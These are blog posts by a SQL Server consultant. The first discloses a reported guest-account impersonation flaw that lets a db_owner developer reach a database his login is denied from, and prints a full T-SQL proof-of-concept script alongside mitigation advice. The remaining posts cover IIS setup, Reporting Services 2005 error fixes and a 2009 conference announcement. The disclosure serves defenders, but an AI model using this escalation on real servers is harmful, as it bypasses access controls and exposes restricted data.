Security-issue: guest-guest impersonation

Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven't tested 2000) regarding the usage of the guest-account and impersonation.

It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. - Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)

Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security

Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.

 

This issue applies in a couple of scenarios, a more common of which I want to show here.

 

One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.

This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.

In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.

But this doesn’t help either, as you will see.

Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)

And now the trouble begins: The developer, let's call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.

Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.

At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!

No "Deny" for Dev0 can prevent that!

 

As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…

 

The following is a script to demonstrate:

--Login:
CREATE LOGIN Dev0
    WITH PASSWORD = 'Pa$$w0rd'
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

--Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    -- and only guest

exec sp_addrolemember 'db_datareader', 'guest'    -- just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    -- no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    -- to make SURE!

-- DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N'db_owner', N'Dev0'
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = 'Dev0'

-- Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database

use InternalPublicData;    -- not possible with Deny Connect

SELECT * FROM t1    -- with no Deny connect he gets denied here

execute as user = 'guest';        -- he can NOT do this at the remote DB (good so far)

-- Part One:

-- go back
USE DevelopmentDB

execute as user = 'guest';        -- not active

grant connect to guest;    -- but as a "Dev" with excessive permissions he can do what he wants
exec sp_addrolemember 'db_datawriter', 'guest'    -- just so that one can differentiate the guest accounts easier

execute as user = 'guest';        -- now we are in the game

-- Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database

select * from sys.user_token;    -- now he became guest in DevelopmentDB for real

-- End of Part One

-- Part Two: using guest for executing as guest

USE InternalPublicData;        -- we connected as guest - no Deny for Dev0 Applying!!

SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest in the remote-DB

SELECT * FROM dbo.t1        -- permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        -- not working because permission for role not applying

-- BUT: switch to InternalPublicData guest explicitely
execute as user = 'guest';        --NOW "Dev0" can do it in the Target-DB

SELECT CURRENT_USER AS CURRENT_USER_Name
    , USER_NAME()    AS DBUser
    , SYSTEM_USER AS SYSTEM_USER_Name
    , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            -- can now also read datathrough role-membership

-- End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0

 

There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!

This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers' sites. Unfortunately, this is very common.

And secondly: never use the guest account for data that is not really supposed for everyone.

Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2 (+ Windows 7) - IIS configuration

Many still use SQL Server/Reporting Services 2005 although sometimes alread on Windows Server 2008 / Vista / Windows 7.

I absolutely do recommend upgrading to SQL Server 2008. There are many advantages in the combination - be it security or performance (Security, Performance, No need for IIS) - but if you can't uprade right now, you do need to install IIS for Reporting Services 2005 to run.

I have seen recommendations (even on a Microsoft blog) where they tell you to install EVERY Role Service for IIS - but that is untrue and against basic security principles.

I always always recommend "install as little as possible, but just as much as required".

You do not need an FTP-Server to run Reporting Services! - Natural to most. But when it comes to less known features like, CGI , SSI, Tracing..?.. most aren't so sure.

So here is the definite list of required role services for IIS. I tried to leave of everything I could, and this turned out:

 

Web Server
  Common HTTP Features
     Static Content
     Default Document
     HTTP Errors
     HTTP Redirection
  Application Development
     ASP.NET
     .NET Extensibility
     ASP
     ISAPI Extensions
     ISAPI Filters
  Health and Diagnostics
     HTTP Logging
     Request Monitor
  Security
     Windows Authentication
     Request Filtering
  Performance
     Static Content Compression
  Management Tools
     IIS Management Console
     IIS 6 Management Compatibility
     IIS 6 Metabase Compatibility
     IIS 6 WMI Compatibility
     IIS 6 Scripting Tools
     IIS 6 Management Console

 

I also attach a cmd-file. This file will install all the required packages by itself. You do not need to don any IIS Installation beforehand. It's using the new Package Manager available on Windows Server 2008. Just remove the .txt after you checked it out ;-

If You are using Windows Server 2008 R2/Windows 7 with IIS 7,5, Package Manager is deprecated. Instead use Deployment Image Servicing and Management as described here: http://blogs.msdn.com/b/habibh/archive/2009/08/14/how-to-install-iis-7-5-on-windows-7-using-the-command-line.aspx

I also prepared a file using DISM, which you can download here.

For Some reason though the Packetmanager installs "Directory Browsing, which is NOT required (bull***) - you should remove it manually. This seems to be a bug with Package Manager.

At the end it should look like this:
IIS on Windows Server 2008 for Reporting Servives 2005

 

 IIS will be properly detected (and we know for sure, that "Directory Browsing" is not a requirement"):

 System_Configuration_Check_Sql_Server_2005_Setup_IIS_Reporting_Services

 

There is still something however:

After you installed and navigate to http://YourServername/Reports

You will get an error: "unable to connect to remote server"

when checking the Logfile  "ReportServerWebApp" it says:

 

w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: Unable to connect to the remote server
w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: HTTP status code --> 500
-------Details--------
System.Net.WebException: Unable to connect to the remote server ---> System.Net.Sockets.SocketException: No connection could be made because the target machine actively refused it 127.0.0.1:443
   at System.Net.Sockets.Socket.DoConnect(EndPoint endPointSnapshot, SocketAddress socketAddress)
   at System.Net.Sockets.Socket.InternalConnect(EndPoint remoteEP)
   at System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ConnectSocketState state, IAsyncResult asyncResult, Int32 timeout, Exception& exception)
   --- End of inner exception stack trace ---

 

Solution:

In IIS 7 Manager, highlight the ReportServer application (Not "Reports")

go to Handler Mappings, click "Edit Feature Permissions" in the "Actions Pane", and enable "Script and Execute".

IIS_Manager_Handler_Mapping_for_Reporting_Services_2005

 

You are all set - it should be running just fine now.

Everything described here also applies for running Reporting Services 2005 on Windows Vista (SP1).

Download to IIS 7 Setup-File using Package Manager (rename to .cmd or .bat)

Download to IIS 7.5 Setup-File using DISM (rename to .cmd or .bat)

 

I also found a nice explaination of the IIS-Setup here: http://learn.iis.net/page.aspx/130/understanding-setup-in-iis-7/  

 

Andreas Wolter Training & Consulting

Europäische PASS Konferenz 2009 zu SQL Server vom 22.-24. April in Neuss

Über 20 Sprecher in 36 technischen Sessions in 2 Tagen (Hauptkonferenz) zu Business Intelligence, Datanbankentwicklung und -Administration mit Fokus auf SQL Server 2008.

ich halte den Vortrag “Standardizing and Centralizing Report Design”.
Agenda:
How can reusable design and layout be accomplished:
The Basics:
Using Layout-Templates
Using Style-Templates
Custom methods
Using Custom Code
Using an Assembly
Using plain T-SQL
Combining techniques
The Ultimate Step: Style Template + Custom style + Layout Template
Further possibilities

Meine Empfehlung außerdem: die Preconference (1 Tag) "SQL Server 2008 Engine Performance and Advanced Diagnostics" mit Bob Ward vom Microsoft PSS Team

Eine super Gelegenheit mit den Größen der Branche in Kontakt zu kommen.


See you in Neuss -> zur website mit weiteren Informationen

European PASS Conference 2009

Andreas Wolter Training & Consulting

Reporting Services 2005 x64 Fehlermeldungen bei der Installation unter Windows Server - mit Lösungen

bei der Einrichtung von Reporting Services 2005 Version x64 traten in der Reihenfolge folgende Fehler auf, zu welchen ich die Lösungen hier gerne hinterlegen möchte:

1)

"The virtual directory could not be created. The previously set virtual directory will still be used."

Details: "System.IO.FileNotFoundException:
at System.Runtime.InteropServices.Marshal.ThrowExceptionForHRInternal(Int32 errorCode, IntPtr errorInfo)
at System.Management.ManagementObject.InvokeMethod(String methodName, ManagementBaseObject inParameters, InvokeMethodOptions options)
at ReportServicesConfigUI.WMIProvider.RSReportServerAdmin.CreateVirtualDirectory(String virtualDirectory, String path)"

 

Lösung:

das lag daran, das  ASP.Net VOR dem .Net Framework 2.0 installiert war

(meine Quelle: http://www.bokebb.com/dev/english/2027/posts/2027133704.shtml )

Nach einer Reparatur-Installation des .Net Framework 2.0 lief es tadellos.

 

 2)

Als nächstes kam folgende Fehlermeldung auf der Website http://Servername/Reports:

"The ReportServerVirtualDirectory element is missing"

Lösung:

in der Datei RSWebApplication.config im Verzeichnis "C:\Program Files\Microsoft SQL Server\MSSQL.3\Reporting Services\ReportManager"

im Knoten <ReportServerVirtualDirectory></ReportServerVirtualDirectory> den Servernamen wie folgt eintragen:

<ReportServerUrl>http://ServerName/Reportserver</ReportServerUrl>

 

3)

 Es folgte ein HTTP: 500 Fehler "The request failed with HTTP status 503: Service Unavailable."

 Lösung:

 iisreset in der Kommandozeile

 

so, ich hoffe das hilft dem Nächsten, etwas Zeit zu sparen

 

Andreas Wolter Training & Consulting